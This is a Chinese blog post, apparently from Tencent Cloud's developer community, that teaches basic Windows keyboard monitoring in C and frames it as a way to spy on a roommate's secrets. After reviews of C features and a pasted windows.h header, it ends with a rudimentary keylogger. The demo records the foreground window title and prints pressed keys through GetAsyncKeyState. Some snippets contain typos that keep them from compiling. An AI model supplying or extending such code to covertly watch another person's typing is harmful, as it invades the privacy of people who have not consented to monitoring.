前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【网络安全-键盘监视】学会以后去捉弄舍友,看他有了什么不可告人的秘密

【网络安全-键盘监视】学会以后去捉弄舍友,看他有了什么不可告人的秘密

作者头像
20岁爱吃必胜客
发布2022-11-13 10:12:54
2820
发布2022-11-13 10:12:54
举报
文章被收录于专栏:进步集

🍃博主昵称:一拳必胜客 博主主页面链接:博主主页传送门 博主专栏页面连接:专栏传送门–计算机考研 🍑创作初心:本博客的初心是每天分享记录自己学习的脚步,和各位技术友探讨交流,同时给同样感兴趣的朋友以参考; 博主研究方向:渗透测试、嵌入式、机器学习; 🌸博主寄语:感谢各位技术友的支持,您的支持就是我前进的动力 ; 今日闲谈: 单片机门槛低,薪资待遇比较低。参加算法比赛很赚。入职金融公司的it岗位,钱比较多。 学好编程:数据结构+算法 项目经验(淘宝分布式文件系统核心存储系统 + 百万并发共享单车)大四三月份找工作,百度五轮面试。 ‘’

特别鸣谢:木芯工作室 、Ivan from Russia


文章目录


🍃实现原理

windows是基于消息驱动的

同时消息是共享的。 所以可以实现键盘捕获。 同时----键盘又是消息!—消息还会被缓存!

必会C语言知识复习

位运算

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

C 可变参数

有时,您可能会碰到这样的情况,您希望函数带有**可变数量的参数,**而不是预定义数量的参数。C 语言为这种情况提供了一个解决方案,它允许您定义一个函数,能根据具体的需求接受可变数量的参数。下面的实例演示了这种函数的定义。

代码语言:javascript
复制
int func(int, ... ) 
{
   .
   .
   .
}
 
int main()
{
   func(2, 2, 3);
   func(3, 2, 3, 4);
}

请注意,函数 func() 最后一个参数写成省略号,即三个点号(…),省略号之前的那个**参数是 int,代表了要传递的可变参数的总数。**为了使用这个功能,您需要使用 stdarg.h 头文件,该文件提供了实现可变参数功能的函数和宏。具体步骤如下:

定义一个函数,最后一个参数为省略号,省略号前面可以设置自定义参数。 在函数定义中创建一个 va_list 类型变量,该类型是在 stdarg.h 头文件中定义的。 使用 int 参数和 va_start 宏来初始化 va_list 变量为一个参数列表宏 va_start 是在 stdarg.h 头文件中定义的。 使用 va_arg 宏和 va_list 变量来访问参数列表中的每个项。 使用宏 va_end清理赋予 va_list 变量的内存。 现在让我们按照上面的步骤,来编写一个带有可变数量参数的函数,并返回它们的平均值:

代码语言:javascript
复制
#include <stdio.h>
#include <stdarg.h>
 
double average(int num,...)
{
 
    va_list valist;
    double sum = 0.0;
    int i;
 
    /* 为 num 个参数初始化 valist */
    va_start(valist, num);
 
    /* 访问所有赋给 valist 的参数 */
    for (i = 0; i < num; i++)
    {
       sum += va_arg(valist, int);
    }
    /* 清理为 valist 保留的内存 */
    va_end(valist);
 
    return sum/num;
}
 
int main()
{
   printf("Average of 2, 3, 4, 5 = %f\n", average(4, 2,3,4,5));
   printf("Average of 5, 10, 15 = %f\n", average(3, 5,10,15));
}

例子2:

代码语言:javascript
复制
// 64 位机器用 8 字节对齐, 32 位 4 位对齐
#ifdef X64
#defin t long long
#else
#define t int
#endif

//VA_LIST套宏中可以使用,用来改变INTSIZEOF中t的类型
//固定参数详见
void test(int a, double b, char* c)
{
    char *p = (char*)&a;
    //因为&a = void 类型 需要转换,void * =&a 不需要转换但是使用时要转换
    printf("%p %p %p\n", &a, &b, &c);
    //观察地址变化
    printf("%p %s",(p+8),*(char**)(p+8+8));//64位机器时加8内存大小8字节对齐
    return;
}

//可变参数实验
void test1(char* s,char *st,...)
{
    char *ppt =(char*)&s;
    //printf("%p %p %p %p,",ppt,&s,&st,(char*)ppt+8);
    printf("%p %p %p %p\n", ppt, &s, &st, ppt + 8);
    printf("%s\n", *(char**)(ppt+4));
    printf(" %d\n",*(int*)(ppt + 4+4));//当是X64就加8 X86就加4因为内存对齐规则
    return;
}

int main()
{
    char *p = "Hello world";
    test1("111","eee",45234,23);
    //test(2, 2.2, "Hello world");x
    void *s = &p;
    printf("%s", *(char**)s);
    return 0;
}

C 命令行参数

执行程序时,可以从命令行传值给 C 程序。这些值被称为命令行参数,它们对程序很重要,特别是当您想从外部控制程序,而不是在代码内对这些值进行硬编码时,就显得尤为重要了。

命令行参数是使用 main() 函数参数来处理的,其中,argc 是指传入参数的个数,argv[] 是一个指针数组,指向传递给程序的每个参数。下面是一个简单的实例,检查命令行是否有提供参数,并根据参数执行相应的动作:

代码语言:javascript
复制
#include <stdio.h>

int main( int argc, char *argv[] )  
{
   if( argc == 2 )
   {
      printf("The argument supplied is %s\n", argv[1]);
   }
   else if( argc > 2 )
   {
      printf("Too many arguments supplied.\n");
   }
   else
   {
      printf("One argument expected.\n");
   }
}

应当指出的是,argv[0] 存储程序的名称,*argv[1] 是一个指向第一个命令行参数的指针,argv[n] 是最后一个参数。如果没有提供任何参数,argc 将为 1,否则,如果传递了一个参数,argc 将被设置为 2。

多个命令行参数之间用空格分隔,但是如果参数本身带有空格,那么传递参数的时候应把参数放置在双引号 “” 或单引号 ‘’ 内部。让我们重新编写上面的实例,有一个空间,那么你可以通过这样的观点,把它们放在双引号或单引号"“”"。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

虚函数

虚函数


🍑实现过程

windows常用函数

1.GetAsyncKeyState()()//通过函数来判断按键按下的状态 主要用法VK_键的名称

例如

代码语言:javascript
复制
GetAsyncKeyState(VK_SHIFT)

GetAsyncKeyState(VK_LSHIFT)         

GetAsyncKeyState(VK_RSHIFT)

MENU代表的是这是alt键

1)if(GetAsyncKeyState(VK_LSHIFT))

这样写是不对的。

GetAsyncKeyState的返回值表示两个内容,一个是最高位bit的值,代表这个键是否被按下,一个是最低位bit的值,代表在上次调用

GetAsyncKeyState后,这个键是否被按下。

应该是

if(GetAsyncKeyState(VK_LSHIFT)&&ox8000)

第十六位为真 被按着

(2)SHORT GetKeyState(int nVirtKey);

SHORT GetAsyncKeyState(int vKey);

BOOL GetKeyboardState(PBYTE lpKeyState);

三个取key status的函数的最大区别是:

第一个:是从windows消息队列中取得键盘消息,返回key status.

第二个:是直接侦测键盘的硬件中断,返回key status.

第三个:是当从windows消息队列中移除键盘消息时,才才返回key status.

2.system(“pause”);//程序暂停,显示按下任意键继续 3.Sleep(1000);//延迟1000毫秒,切记S大写 4.system(“cls”);//清屏函数 5.pos类似于conio中的gotoxy 实例

代码语言:javascript
复制
#include<stdio.h>
#include<windows.h>
void Pos(int x, int y)//设置光标位置,从哪里开始输出
{
    COORD pos;//表示一个字符在控制台屏幕上的坐标,左上角(0,0)
    HANDLE h0utput;
    pos. X = x;
    pos. Y = y;
    h0utput = GetStdhandle(STD_OUTPUT_HANDLE);
    //GetStdhandle用于从一个特定的标准设备(标准输入、标准输出或标准错误)中取得一个句柄(用来标识不同设备的数值)。可以嵌套使用。
    SetConsoleCursorPosition(h0uput, pos);

引入头文件:Windows.h

代码语言:javascript
复制
#include<Windows.h>
//详解
#include <winapifamily.h>

/*++ BUILD Version: 0001    Increment增量;定期的加薪;增加 this if a change has global effects
// BUILD 版本: 0001如果更改具有全局效果,则增加此值
Copyright (c) Microsoft Corporation. All rights reserved.

Module Name:


    windows.h

Abstract:

    Master include file for Windows applications.
Windows 应用程序的主包含文件。


--*/

#ifndef _WINDOWS_
#define _WINDOWS_


#include <sdkddkver.h>

#ifndef _INC_WINDOWS
#define _INC_WINDOWS

#if defined (_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif

#pragma region Application Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP)


/*  If defined, the following flags inhibit definition/* 
如果定义了,下面的标志将抑制定义


 *     of the indicated items.
 *
 *  NOGDICAPMASKS     - CC_*, LC_*, PC_*, CP_*, TC_*, RC_
 *  NOVIRTUALKEYCODES - VK_*
 *  NOWINMESSAGES     - WM_*, EM_*, LB_*, CB_*
 *  NOWINSTYLES       - WS_*, CS_*, ES_*, LBS_*, SBS_*, CBS_*
 *  NOSYSMETRICS      - SM_*
 *  NOMENUS           - MF_*
 *  NOICONS           - IDI_*
 *  NOKEYSTATES       - MK_*
 *  NOSYSCOMMANDS     - SC_*
 *  NORASTEROPS       - Binary and Tertiary raster ops
 *  NOSHOWWINDOW      - SW_*
 *  OEMRESOURCE       - OEM Resource values
 *  NOATOM            - Atom Manager routines
 *  NOCLIPBOARD       - Clipboard routines
 *  NOCOLOR           - Screen colors
 *  NOCTLMGR          - Control and Dialog routines
 *  NODRAWTEXT        - DrawText() and DT_*
 *  NOGDI             - All GDI defines and routines
 *  NOKERNEL          - All KERNEL defines and routines
 *  NOUSER            - All USER defines and routines
 *  NONLS             - All NLS defines and routines
 *  NOMB              - MB_* and MessageBox()
 *  NOMEMMGR          - GMEM_*, LMEM_*, GHND, LHND, associated routines
 *  NOMETAFILE        - typedef METAFILEPICT
 *  NOMINMAX          - Macros min(a,b) and max(a,b)
 *  NOMSG             - typedef MSG and associated routines
 *  NOOPENFILE        - OpenFile(), OemToAnsi, AnsiToOem, and OF_*
 *  NOSCROLL          - SB_* and scrolling routines
 *  NOSERVICE         - All Service Controller routines, SERVICE_ equates, etc.
 *  NOSOUND           - Sound driver routines
 *  NOTEXTMETRIC      - typedef TEXTMETRIC and associated routines
 *  NOWH              - SetWindowsHook and WH_*
 *  NOWINOFFSETS      - GWL_*, GCL_*, associated routines
 *  NOCOMM            - COMM driver routines
 *  NOKANJI           - Kanji support stuff.
 *  NOHELP            - Help engine interface.
 *  NOPROFILER        - Profiler interface.
 *  NODEFERWINDOWPOS  - DeferWindowPos routines
 *  NOMCX             - Modem Configuration Extensions
 */

#if defined(RC_INVOKED) && !defined(NOWINRES)

#include <winresrc.h>

#else

#if defined(RC_INVOKED)
/* Turn off a bunch of stuff to ensure that RC files compile OK. */
#define NOATOM
#define NOGDI
#define NOGDICAPMASKS
#define NOMETAFILE
#define NOMINMAX
#define NOMSG
#define NOOPENFILE
#define NORASTEROPS
#define NOSCROLL
#define NOSOUND
#define NOSYSMETRICS
#define NOTEXTMETRIC
#define NOWH
#define NOCOMM
#define NOKANJI
#define NOCRYPT
#define NOMCX
#endif

#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_IX86)
#define _X86_
#endif

#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_AMD64)
#define _AMD64_
#endif

#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_ARM)
#define _ARM_
#endif

#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_M68K)
#define _68K_
#endif

#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_MPPC)
#define _MPPC_
#endif

#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_M_IX86) && !defined(_AMD64_) && !defined(_ARM_) && defined(_M_IA64)
#if !defined(_IA64_)
#define _IA64_
#endif /* !_IA64_ */
#endif

#ifndef _MAC
#if defined(_68K_) || defined(_MPPC_)
#define _MAC
#endif
#endif

#if defined (_MSC_VER)
#if ( _MSC_VER >= 800 )
#ifndef __cplusplus
#pragma warning(disable:4116)       /* TYPE_ALIGNMENT generates this - move it */
                                    /* outside the warning push/pop scope. */
#endif
#endif
#endif

#ifndef RC_INVOKED
#if     ( _MSC_VER >= 800 )
#pragma warning(disable:4514)
#ifndef __WINDOWS_DONT_DISABLE_PRAGMA_PACK_WARNING__
#pragma warning(disable:4103)
#endif
#if _MSC_VER >= 1200
#pragma warning(push)
#endif
#pragma warning(disable:4001)
#pragma warning(disable:4201)
#pragma warning(disable:4214)
#endif
#include <excpt.h>
#include <stdarg.h>
#endif /* RC_INVOKED */

#include <windef.h>
#include <winbase.h>
#include <wingdi.h>
#include <winuser.h>
#if !defined(_MAC) || defined(_WIN32NLS)
#include <winnls.h>
#endif
#ifndef _MAC
#include <wincon.h>
#include <winver.h>
#endif
#if !defined(_MAC) || defined(_WIN32REG)
#include <winreg.h>
#endif
#ifndef _MAC
#include <winnetwk.h>
#endif

#ifndef WIN32_LEAN_AND_MEAN
#include <cderr.h>
#include <dde.h>
#include <ddeml.h>
#include <dlgs.h>
#ifndef _MAC
#include <lzexpand.h>
#include <mmsystem.h>
#include <nb30.h>
#include <rpc.h>
#endif
#include <shellapi.h>
#ifndef _MAC
#include <winperf.h>
#include <winsock.h>
#endif
#ifndef NOCRYPT
#include <wincrypt.h>
#include <winefs.h>
#include <winscard.h>
#endif

#ifndef NOGDI
#ifndef _MAC
#include <winspool.h>
#ifdef INC_OLE1
#include <ole.h>
#else
#include <ole2.h>
#endif /* !INC_OLE1 */
#endif /* !MAC */
#include <commdlg.h>
#endif /* !NOGDI */
#endif /* WIN32_LEAN_AND_MEAN */

#include <stralign.h>

#ifdef _MAC
#include <winwlm.h>
#endif


#ifdef INC_OLE2
#include <ole2.h>
#endif /* INC_OLE2 */

#ifndef _MAC
#ifndef NOSERVICE
#include <winsvc.h>
#endif

#if(WINVER >= 0x0400)
#ifndef NOMCX
#include <mcx.h>
#endif /* NOMCX */

#ifndef NOIME
#include <imm.h>
#endif
#endif /* WINVER >= 0x0400 */
#endif

#ifndef RC_INVOKED
#if     ( _MSC_VER >= 800 )
#if _MSC_VER >= 1200
#pragma warning(pop)
#else
#pragma warning(default:4001)
#pragma warning(default:4201)
#pragma warning(default:4214)
/* Leave 4514 disabled.  It's an unneeded warning anyway. */
#endif
#endif
#endif /* RC_INVOKED */

#endif /* RC_INVOKED */

#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) */
#pragma endregion

#endif /* _INC_WINDOWS */

#endif /* _WINDOWS_ */

🌸成品展示

demo:

代码语言:javascript
复制
#include<stdio.h>
#include<Windows.h>

#define MAX_TEXT_LEN 128
int main()
{
	//监控窗体
	char text[MAX_TEXT_LEN] = {0};
	HWND prewindow = NULL;
	while (1) {
		HWND window = GetForegroundWindow();//get handler

		if (prewindow != window)
		{
			GetWindowText(window, text, MAX_TEXT_LEN);
			printf("当前窗体:%s\n", text);
			prewindow = window;
		}

		//捕获键盘
		char key = '0';// 1键被按着 弹起来
		for(; key < '9'; key++)//key是虚拟码 ascii码不完全等同
		{
			if (GetAsyncKeyState(key) & 0x8000) {//第十六位为1--被按着

				//不重复打印
				while (GetAsyncKeyState(key) & 0x8000)
					Sleep(1);
				printf("%c 被按下了\n", key);

			}



			
		}
		Sleep(10);
	}

	system("pause");
	return 0;
}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-10-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章目录
  • 🍃实现原理
    • windows是基于消息驱动的
      • 必会C语言知识复习
        • 位运算
        • C 可变参数
        • C 命令行参数
        • 虚函数
    • 🍑实现过程
      • windows常用函数
        • 引入头文件:Windows.h
        • 🌸成品展示
        相关产品与服务
        消息队列 CMQ 版
        消息队列 CMQ 版(TDMQ for CMQ,简称 TDMQ CMQ 版)是一款分布式高可用的消息队列服务,它能够提供可靠的,基于消息的异步通信机制,能够将分布式部署的不同应用(或同一应用的不同组件)中的信息传递,存储在可靠有效的 CMQ 队列中,防止消息丢失。TDMQ CMQ 版支持多进程同时读写,收发互不干扰,无需各应用或组件始终处于运行状态。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档